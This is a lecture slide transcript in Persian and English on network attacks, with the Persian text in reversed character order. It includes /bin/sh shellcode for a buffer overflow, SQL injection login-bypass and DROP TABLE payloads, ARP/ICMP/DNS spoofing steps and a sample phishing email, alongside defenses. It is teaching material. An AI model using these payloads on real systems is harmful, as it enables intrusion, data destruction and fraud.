شنود در شبکه هاي مبتني بر سوئيچ

Download Report

Transcript شنود در شبکه هاي مبتني بر سوئيچ

يسرتسد دصق هب موجه

) اه يريذپ بيس ا زا هدافتسا ءوس قيرط زا (

و عضاوم ي ياسانش م تسيس فعض طاقن فده يسرتسد هيلوا موجه

يرتويپماک ةلمح کي ماجنا يلک يامن دنور

تا يلمع دعب هلحرم يزير همانرب عضاوم تيبثت يسرتسد بسک ربراک حطس رد يسرتسد بسک ريدم حطس رد اهاپدر ندناشوپ هچيرد بصن يا هتيلاعف رياس زاجم ريغ بارخ اي نتشادرب تاعلاطا ندرک فادها هب هلمح هيوناث متسيس ي ياسانش بيرخت زا يريگولج سيورس 2

بلاطم تسرهف (Buffer Overflow) رفاب زيررس o (SQL Injection) SQL قيرزت o (Sniffing) دونش o (Spoofing) لعج o ARP : 1 تسويپ o ICMP : 2 تسويپ o 3

Stack اه همانرب يارجا ماگنه رد هظفاح نامتخاس دنکيم دشر نيياپ فرط هب Stack Intel, Motorola, SPARC, MIPS o o دنکيم هراشا لحم نيرخ ا هب هتشپ رگ هراشا o Heap Executable Code 4

pushl pushl $3 $2 pushl $1 call function function prolog pushl %ebp movl subl %esp, %ebp $20, %esp Current Frame Pointer (stack pointer) اه همانرب يارجا ماگنه رد هتشپ نامتخاس Function Parameters Return Address Saved Frame Pointer Local Variables 5

void function(int a, int b, int c){ char buffer1[5]; char buffer2[10]; } int main(){ function(1,2,3); } لاثم : ريز همانرب يارب هتشپ نامتخاس 6

12 buffer2 Current Frame Pointer (stack pointer) 8 4 4 4 4 4 buffer1 sfp ret a b c 7 لاثم

مود لاثم !

دنکيم هدافتسا اه همانرب طسوت هدودحم ندرکن کچ زا Buffer overflow void function(char *str){ char buffer[16]; strcpy(buffer, str); } int main(){ char large_string[256]; int i; for (i = 0; i < 255; i++){ large_string[i] = ‘A’; } function(large_string); } 8

مود لاثم Crash!

: تسا ريز تروص هب هتشپ رد همانرب نيا يارجا هجيتن 16 4 4 4 A A A A A A A A A A A A A A A A A A A A A A A A A A A A buffer sfp ret *str !

دوشيم يسيون زاب ‘AAAA’ (0x41414141) : دک هليسوب تشگزاب سرد ا !

دنکيم ارجا ار 0x41414141 …..

سرد ا رد هدش هتشون ياهدک و هدش جراخ عبات زا همانرب 9

shell

ندرک زاب يارب رظن دروم دک داجيا jmp popl movl xorl movb movl movb movl leal leal int xorl movl inc int call .string

0x1F %esi %esi, 0x8(%esi) %eax, %eax %eax, 0x7(%esi) %eax, 0xC(%esi) $0xB, %al %esi, %ebx 0x8(%esi), %ecx 0xC(%esi), %edx $0x80 %ebx, %ebx %ebx, %eax %eax $0x80 -0x24 “/bin/sh” !

تسا برخم دک کي داجيا مدق نيلوا char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89” “\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c” “\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff” “\xff\xff/bin/sh”; دشاب ارجا لباق نيشام يارب هک درک داجيا ي ياهن دک دياب 13

ديهدب همانرب هب ارجا يارب ار برخم دک SS S S S S S S S S S S S S S S S S S buffer sfp ret .

دينک دراو ار shell يارجا دک همادا رد و دينک رپ هدوهيب ياهدک هطساوب ار رفاب .

تسا راک تمسق نيرت تخس تمسق نيا ، دنکيم crash همانرب هنرگو دشاب قيقد دياب سرد ا 14

ديهدب همانرب هب ارجا يارب ار برخم دک NN N N S S S S S S S S S S S S S S S S S buffer sfp ret ديربب رتلااب ار دوخ تيقفوم سناش NOP (0x90) لمعلاروتسد زا هدافتسا اب ديناوتيم امش .

دوشيم ارجا هديسرن يعقاو لمعلا روتسد کي هب هک ينامز ات هک ،تسا هدوهيب ي يارجا لمعلاروتسد کي عقاو رد لمعلا روتسد نيا 15

رفاب زيررس زا يرادرب هرهب زا يا هنومن Slammer مرک رد طقف را شتنا تعرس نيا ،نيا زا شيپ ات ( عيرس مرک کي زا لاثم نيلوا ) دوب يروئت o دش هدول ا تساه 75000 ،هقيقد 30 ضرع رد o دندش هدول ا راشتنا لوا هقيقد 10 ضرع رد اه تساه نيا زا 90% o !

دوب MS SQL Server رد يريذپ بيس ا o 17

رفاب زيررس زا يرادرب هرهب زا يا هنومن Slammer مرک ه ب ار دوخ زا ي پک کي و درکيم ديلوت IP سرد ا کي يفداصت تروص هب دک درکيم لاسرا ن ا o درکيم هدافتسا UDP زا o دوب تياب 375 طقف مرک نيا ياه packet هزادنا o دش يم رباربود هيناث 8.5

ره مرک نيا راشتنا o 18

Slammer مرک 19 19

Slammer مرک 20 20

Slammer مرک کي ا ب تسناوتيم مرک نيا هک ارچ !

دوب ينابرهم مرک نيا يلو ،دزادنايب راک زا ار network مامت هدرتسگ Slammer DoS هلمح .

درکن ار راک o هک دش ث عاب تشاد دوجو يفداصت دادعا هدننک ديلوت رد هک يلکشم تيب و د ( دهدن رارق ريثات تحت ار اهرتويپماک همه Slammer مرک ) درکيمن رييغت زگره سرد ا نيلوا رخ ا o 21

Overflow زا يريگولج و فشک ياه شور !

دنو شيمن اديپ يريذپ بيس ا طاقن زا يرايسب و تسا يريگ تقو و تخس راک اهدک مامت يسرزاب ) دراد دک طخ نويليم 5 دودح Windows ( o ،دننکيم هد افتسا فشک يارب هدش تابثا ياه متيروگلا زا هک دراد دوجو دک زيلان ا رازبا يدايز دادعت !

ار اهن ا همه هن يلو ،دننکيم اديپ ار ريذپ بيس ا طاقن زا يدايز دادعت o ) دريگ يمن ار اه هلمح همه يولج هتبلا ( ميروايب رد ي يارجا ريغ تروص هب ار هتشپ o .

مينک هفاضا زيررس زا يريگولج و فشک يارب يتاديهمت هدش لياپمک دک رد o 23

بلاطم تسرهف (Buffer Overflow) رفاب زيررس o (SQL Injection) SQL قيرزت o (Sniffing) دونش o (Spoofing) لعج o ARP : 1 تسويپ o ICMP : 2 تسويپ o 24

o o o o SQL stands for

Structured Query Language

Allows us to access a database ANSI and ISO standard computer language SQL can: – – – – – execute queries against a database retrieve data from a database insert new records in a database delete records from a database update records in a database ؟تسيچ SQL 25

...

يلو تسا درادناتسا SQL o o There are many different versions of the SQL language They support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others).

o Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard!

26

SQL Database Tables o A relational database contains one or more tables identified each by a name o o Tables contain records (rows) with data For example, the following table is called "users" and contains data distributed in rows and columns:

userID

1 2 3

Name

John Adam Daniel

LastName

Smith Taylor Thompson

Login

jsmith adamt dthompson

Password

hello qwerty dthompson 27

SQL Queries o With SQL, we can query a database and have a result set returned o Using the previous table, a query like this: SELECT LastName FROM users WHERE UserID = 1; o Gives a result set like this: LastName ------------- Smith 28

What is SQL Injection?

o The ability to inject SQL commands into the database engine through an existing application 29

How common is it?

o o It is probably the most common Website vulnerability today!

It is a flaw in "web application" development, it is not a DB or web server problem – – – Most programmers are still not aware of this problem A lot of the tutorials & demo “templates” are vulnerable Even worse, a lot of solutions posted on the Internet are not good enough 30

How does SQL Injection work?

o Common vulnerable login query SELECT * FROM users WHERE login = 'ali' AND password = '123' ( If it returns something then login!

) o ASP/MS SQL Server login syntax var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'" ; 31

Injecting through Strings

formusr

=

' or 1=1 – –

formpwd

= anything

Final query would look like this:

SELECT * FROM users WHERE username =

' ' or 1=1

– – AND password =

'

anything

'

32

If it were numeric?

SELECT * FROM clients WHERE user= 12345678 AND pas= 1111

PHP/MySQL login syntax

$sql = "SELECT * FROM clients WHERE " . “user= $formusr AND " . “pas= $formpas "; 33

Injecting Numeric Fields

$formusr

=

1 or 1=1 ;--

$formpas

= 1111

Final query would look like this:

SELECT * FROM clients WHERE user=

1 or 1=1; --

AND pas =

1111

34

Examples of what can SQL Injection do o

Delete:

Select productinfo from table where productname = ‘

whatever’; DROP TABLE productinfo; --

’ o

Bypass Authentication

– Select * from users where username=’user ’ and password=’passwd ’; – select * from users where username= ’admin

’--’

and password=’whocares’; 35

SQL Injection Characters o o o o o o o o o o o

'

or " -- or # /*…*/ character String Indicators single-line comment multiple-line comment + || % wildcard attribute indicator ?Param1=foo&Param2=bar URL Parameters PRINT addition, concatenate (or space in url) (double pipe) concatenate useful as non transactional command @

variable

@@

variable

local variable global variable waitfor delay '0:0:10' time delay 36

SQL Injection Tools o SQL Map* is a tool that aids in the fingerprinting of a backend database o SQL Ninja* http://sqlninja.sourceforge.net/ – Aids in the exploitation of SQL injection vulnerabilities can provide root level command access to system o Automagic SQL Injector* – Designed to work with generic installation of MS SQL • http://scoobygang.org/magicsql/ – Videos on SQL injection can be found on the internet one great source • http://securitytube.net/ * Source: EC Council Certified Ethical Hacker Volume 3 Chapter 19 37

SQL Injection Defense o It is quite simple:

input validation

– Enforce "

strong design

" in new applications – You should audit your existing websites and source code 38

بلاطم تسرهف (Buffer Overflow) رفاب زيررس o (SQL Injection) SQL قيرزت o (Sniffing) دونش o (Spoofing) لعج o ARP : 1 تسويپ o ICMP : 2 تسويپ o 39

يرتويپماک ياه هکبش رد دونش دربراک دراوم

يرتويپماک ياه هکبش يطابترا تلاکشم فشک يارب o ندناوخ لباق نتم هب هکبش کيفارت ليدبت o اه هاگولگ فشک روظنم هب هکبش ي ياراک زيلان ا o نارگ ذوفن يوس زا هکبش هب يلامتحا ياه ذوفن فشک o هدرک ذوفن هک بش هب نارگذوفن هکنيا زا يريگولج روظنم هب هکبش زا يراگن هعقاو .

دنربب نيب زا ار دوخ ياهاپدرو o 40

؟دراد دوجو هکبش کيفارت دونش ناکما هنوگچ

هدش يحار ط يرتويپماک ياه هکبش رد کارتشا تيريدم يانبم رب تنرتا لکترپ .

تسا يور زا ار دوخ يکيزيف سرد ا هب طوبرم کيفارت طقف نيشام ره هک تسا هدرک يحارط ار يرتليف تنرتا .

درادرب هکبش o o ديق يب تلاح رد ار تنرتا رازفا تخس و هتشادرب ار رتليف نيا دونش همانرب کي زا ي روبع ياه هتسب هيلک تلاح نيا رد هک .

دهد يم رارق ) Promiscuous ( .

دنک يم تفايرد ار هکبش o 41

باه رب ينتبم يلحم ياه هکبش رد دونش

نياربانب دن وش يم لاسرا همه يارب يشخپ تروص هب باه رد اه هتسب هک ي ياجن ا زا لاثم ( اه هرگ زا يکي يور دونش رازفا مرن کي بصن اب دوب دهاوخ رداق رگ ذوفن .

دنک دونش ار هکبش کيفارت هيلک ) sniffer هب هدول ا ياوارت بسا o 42

چيئوس رب ينتبم ياه هکبش رد دونش

: ) چيئوس رد للاتخا ( Switch jamming o هدننک رارکت تلاح هب و هدش جراخ bridge تلاح زا چيئوس شور نيا رد  يلعج يکيزيف ياه سرد ا اب چيئوس لودج ندرک زيرس اب راک نيا .

دي ا يم رد .

دريگ يم تروص 43

چيئوس رب ينتبم ياه هکبش رد دونش

ARP (Address Resolution Protocol)

ARP redirect (ARP cache poisoning)

1. Broadcast an ARP request containing the victim’s IP address and this host’s MAC address as the source (The victim can be a router) 2. Others will believe that this host has the victim’s IP address, and send packets for the victim to this host.

3. This host should forward the packets to the victim.

44

چيئوس رب ينتبم ياه هکبش رد دونش

ICMP (Internet Control Message Protocol)

ICMP redirect

تهج رد ار دوخ يلاسرا ياه هتسب هک دوش يم هداد نامرف نيشام هب شور نيا رد  .

دنک لاسرا يرگيد يلاسرا ياه هتسب هکنيا ندرک اعدا و .

درو redirect کي نداتسرف اب دناوت يم رکه کي ا يم تسد هب ار تاعلاطا تسا رتهب مجاهم نيشام قيرط زا دصقم هب  45

چيئوس رب ينتبم ياه هکبش رد دونش

ICMP router advertisement

؟ت سا يسک هچ بايريسم هک دنک يم ملاعا اه نيشام رياس هب بايريسم نلاعا نيارد  ينابرق ياه ن يشام نياربانب تسا بايريسم هک دنک اعدا نلاعا نيا لعج اب دناوت يم رگ ذوفن .

دننک يم لاسرارگ ذوفن تمس هب ار دوخ کيفارت  46

چيئوس رب ينتبم ياه هکبش رد دونش

Reconfigure port on switch

ار “switch port” “mirror” تلاح رد يزير همانرب تيلباق چيئوس ياه تروپ زا کي ره  نيا عقا و رد دوب دنهاوخ هکبش کيفارت زا يشخب اي لک تفايرد هب رداق تلاح نيا رد هک دنراد هب telnet اب د ناوت يم رگذوفن هک تسا هدش هيبعت ناريدم طسوت هکبش ياهاطخ فشک يارب تلاح دنک يدنب رکيپ تلاح نيا رد ارن ا چيئوس 47

؟تفرگ ار هداد دونش يولج ناوت يم هنوگچ

دنتسه يريگولج لباق ريغ دونش ياه شور زا يخرب • دونش اه هداد هک ينامز نياربانب .

تساه هداد يراذگ زمر دروم نيا رد عافد نيرتهب .

دنتسين ندناوخ لباق دنوش يم • 48

Detection of Sniffing

• Ping method – Ping the suspected host with its IP address, but with a different MAC address. If you receive a reply, that means the suspected host is sniffing.

• ARP method – Send an ARP request with the IP address of the suspected host, but to a non-broadcast MAC address.

• The Decoy method – Transmits faked plain-text username/password over the network, and alerts when the attacker attempts to logon with such faked username /password.

49

NTop • An open-source, portable tool to monitor the network.

• Features: – Capable of handling multiple network interface simultaneously, using the libpcap library.

– An embedded http server that allows users to view the report through a web browser.

50

دونش ياه رازبا رگيد Windows

– Ethereal • • • • • – winDump • – Network Associates Sniffer (for Windows) BlackICE Pro CiAll EtherPeek Intellimax LanExplorer Triticom LANdecoder32 SpyNet /PeepNet 53

دونش ياهرازفا مرن ي ياسانش ياهرازبا

– Anti sniff – CPM (check promiscuous mode for unix machine) – Neped (work on local network ) – sentinel 54

بلاطم تسرهف (Buffer Overflow) رفاب زيررس o (SQL Injection) SQL قيرزت o (Sniffing) دونش o (Spoofing) لعج o ARP : 1 تسويپ o ICMP : 2 تسويپ o 55

لعج هلمح

زکارم اي دارفا ياج هب ار دوخ يزکرم اي درف هک دوش يم قلاطا يتلامح هب اب طابترا داجيا رد يعس قيرط نيا زا و هدومن يفرعم نانيمطا لباق .

در اد هاوخلد عبانم اي و تاعلاطا هب نديسر تهج رد رظن دروم فادها • 56

• IP Spoofing • ARP Spoofing • DNS Spoofing • Email Spoofing • Web Spoofing لعج تلامح عاونا 57

IP Spoofing

sender Oh, my partner sent me a packet. I’ll process this.

victim partner 58

IP Spoofing رد راک لحارم

ن ا دامتعا دروم رتويپماک IP و فده IP ندرو ا تسدب • ود نيا نيب هدش هلدابم تاعلاطا Sniff • FIN Attack قيرط زا اه ن ا طابترا عطق Sequence Number سدح – • IP هتسب دنيارس رد رييغت • 59

Why IP Spoofing is easy?

• Problem with the Routers.

• Routers look at Destination addresses only.

• Authentication based on Source addresses only.

• To change source address field in IP header field is easy.

Spoofing Attacks:

There are a few variations on the types of attacks that using IP spoofing.

Spoofing is classified into : 1.non-blind spoofing

This attack takes place when the attacker is on the same subnet as the target that could see sequence and acknowledgement of packets.

IP Spoofing Intruder Three-way handshake SYN(A) ACK(A+1) SYN(B) ACK(B+1) A B trusted host

Spoofing Attacks: 2. Blind spoofing

This attack may take place from outside where sequence and acknowledgement numbers are unreachable. Attackers usually send several packets to the target machine in order to sample sequence numbers, which is doable in older days .

Spoofing Attacks: flooding attack

sender Oops, many packets are coming. But, who is the real source?

victim

Spoofing Attacks: reflection

Attacker ip spoofed packet src: victim dst: reflector reflector Oops, a lot of replies without any request… victim

IP Spoofing زا هدافتسا ليلاد

دريگ يم ل باقم فرط زا ار شنيشام فشک و بيقعت ناکما هابتشا سرد ا ابرگذوفن هک دنراد ي ادبم سرد ا دوش يم لاسرا وا نيشام فرط زا هک ي ياه هتسب هک ارچ .

تسا هکبش رد موهوم اي هانگيب نيشام کي هب قلعتم • زا دوخ IP ياه هتسب روبع هب قفوم يهاگ رگذوفن نيغورد يهد سرد ا قيرط زا دهاوخ دنراد تيساسح IP سرد ا هب هک متسيس کي شت ا هراويد اي رتليف نايم .

دش • 67

ARP Spoofing

يم هتف گ مه Arp cache poisoning رتويپماک کي Arp لودج تايوتحم .

، Arp Spoofing تسا هکبش يور هب Spoof يارب يشور و دوش remote • IP سرد ا اب يلعج Arp Response ماغيپ کي رگذوفن هلمح نيا رد ثعاب نيا و دنک يم لاسرا فده ياه نابزيم يارب دوخ رظن درو MAC و رظن دروم م دصقم هب نداتسرف ياج هب ار دوخ تاعلاطا فده ياه رتويپماک دوشيم .

دننک لاسرا رگذوفن يارب • 68

ARP Poisoning &Broadcast request 10.10.0.

2 Host A 10.10.0.1

00-E0-2B-13-68 00

Who has 10.10.0.1

My IP is 10.10.0.2

Host B 10.10.0.2

69 Host C (Hacker) 10.10.0.11

ARP Poisoning--Response to a Request

Who has 10.10.0.2

My IP is 10.10.0.1

10.10.0.

2 Host A 10.10.0.1

??-??-??-??-??-??

Host B 10.10.0.2

I have 10.10.0.2

My MAC is [00-E0-2B-13-68-00]

I have 10.10.0.2

My MAC is [??-??-??-??-??-??]

70 Host C (Hacker) 10.10.0.2

Email Spoofing The Entire E-mail System

71

E mail spoofing

.

د نک يم نارگيد فرط زا اي يلعج مان اب يکينورت کلا تسپ لاسرا هب مادقا رگ ذوفن هلمح نيا رد • : درو ا يم راب هب ار يهباشم جياتن يلو دريگ يم تروص يتوافتم ياه هويش هب emil spoofing لمع يلعج عبنم کي زا هک يلاح رد هديسر ربتعم عبنم کي زا دسر يم رظن هب هک دنک يم تفايرد ار يليميا ربراک .

تسا هديسر  تاع لاطا ندرک دراو اي يبيرخت ماکحا هب راداو ار ربراک هک دنک يم شلات ابلاغ Email spoofing .

دنکب دوخ ) يرابتعا تراک هرامش اي روبع هملک دننام ( ساسح  • زار حا لمع تسا ليميا لاسرا لکتورپ نيرتدربراکرپ هک SMTP لکتورپ اريز تسا ريذپ ناکما spoof دهد يمن ماجنا ار ربراک تلاصا • 72

ليميا لعج دربراک

ديهد رييغت ا ر ناتدوخ روبع هملک هک دهاوخ يم امش زا و تسامش متسيس ريدم فرطزا دنک يم اعدا هک يليميا .

دنک يم قلعم ار امش يربراک باسح هنرگو • هک دهاو خ يم امش زا و تسامش يقوقح اي يلام تاسسوم فرط زا يتارايتخا ياراد دنک يم اعدا هک يصخش اي ....

و دينک لاسرا يو يارب ار دوخ يتايح تاعلاطا اي روبع هملک • 73

Sample SMTP interaction

74

75 UNCLASSIFIED

email spoofing زا يريگولج ياهراکهار

.

ليميا تلاصا زارحا روظنم هب لاتيجيد اضما زا هدافتسا • تسا يراگن هعقاو ياه لياف هب زهجم امش mail هدنهد سيورس هک نيازا نانيمطا • SMTP یاج هب ESMTP لکتورپ زا هدافتسا • 76

Basic DNS

• Client queries local nameserver • Local nameserver queries root nameserver for authoritative nameservers for some domain • Local nameserver queries authoritative nameserver • Returns result to client 77

DNS Queries

root DNS server Recursive query example • 1 2 3 7 6 local DNS server

Ns.iut.ac.ir

5 8 4 TLD DNS server authoritative DNS server

dns.cs.umass.edu

requesting host

gaia.cs.umass.edu

78

DNS Queries

root DNS server • Iterative query example local DNS server

ns.ui.ac.ir

1 8 2 3 4 5 7 TLD DNS server 6 authoritative DNS server

dns.cs.umass.edu

requesting host

gaia.cs.umass.edu

79

Problem

• DNS request sends transaction Id • DNS will accepts any reply containing transaction ID and assuming remote IP and TCP/UDP ports match • Transaction Ids are only 16-bits 80

DNS ID Spoofing

تس اوخ رد باوج ناونع هب يلعج هتسب کي و هدومن دونش ار ربراک DNS تساوخ رد رگ ذوفن دنک يم لاسرا وا يارب هدش حرطم • 81

DNS cache Poisonning

.

دن ک طلغ تاعلاطا هب هدول ا تسا هتفرگ رارق ربراک فرط رد هک ار DNS cache دنک يم يعس رگ ذوفن • 82

BIND Birthday Attack

83

Birthday Attack to BIND

• BIND sends multiple queries for the same domain name • Possible to flood BIND with replies using randomly generated transaction Ids • If you guess correctly, then BIND will accept your reply • ~50% with 300 packets, • ~100% with 700 packets • BIND reused same source UDP port  Made it easy for attacker to “guess” the destination UDP port for the false reply  Newer versions randomize source ports 84

Why DNS Cache Poisoning?

• Redirect traffic • MITM (

man-in-the-middle

) attacks 85

Defenses

• Upgrade to BIND 9.x

• Split-split DNS – Internal DNS performs recursive queries for users, and cannot be accessed from outside – External DNS does not do recursive queries 86

Defenses

87

Web Spoofing

• Another name: “ Phishing ” • Attacker creates misleading context in order to trick the victim. • Online fraud.

88

Web Spoofing Information Flow Model

89

Starting the Attack

• The attacker must somehow lure the victim into the attacker’s false web. there are several ways to do this.

• An attacker could put a link to false Web onto popular Web page.

• If the victim is using Web-enabled email, the attacker could email the victim a pointer to false Web.

• Finally, the attacker could trick a web search engine into indexing part of a false Web.

90

Have you ever received an e-mail like this?

From: To: Subject: Bank Melli Iran [email protected]

Your Online Banking Account is Inactive

Your Online Banking Account is Innactive

We closed your online access for security reasons.

Click here to access your account

We must verify your account information. Bank Melli Iran, N.A. Member FDIC. © 2008 Bank Melli Iran Corporation. All rights reserved. 91

Spoofing attacks in the physical world

• In the physical world For example, there have been several incidents in which criminals set up bogus automated teller machines. the criminal copy the victim’s card and use the duplicate.

• In these attacks people were fooled for the saw. The location of the machine and The appearance of their electronic displays.

context what they • People using computer system often makes security relevant decisions based on contextual cues they see. For example you might decide to type in you account number because you believe you are visiting your bank’s web page. This belief might arise because the page has a familiar look . 92

URL Rewriting

• The attacker’s first trick is to rewrite all of the URLs on some web page so that they point to the attacker’s server rather than the real server. Assuming the attacker’s server is on the machine www.attacker.org

, the attacker rewrites a URL by adding http://www.attacker.org

to the front of the URL. For example, http://home.netscape.com

becomes http://www.attacker.org/http://home.netscape.com

.

• Once the attacker’s server has fetched the real document needed to satisfy the request, the attacker rewrites all of the URLs. in the document into the same special form. Then the attacker’s server provides the rewritten page to the victim’s browser.

• If the victim fallows a link on the new page, the victim remains trapped in the attacker’s false web.

94

Remedies

• Disable JavaScript in your browser so the attacker will be unable to hide the evidence of the attack; • Make sure your browser’s location line is always visible; • Pay attention to the URLs displayed on your browser’s location line, making sure they always point to the server you think you are connected to.

• Do not click information.

on links you receive in an e-mail message asking for sensitive personal, financial or account • Call the company directly to confirm requests for updating or verifying personal or account information.

• Do not share your ID’s or pass codes with anyone.

• Always sign off Web sites or secure areas of Web Sites.

95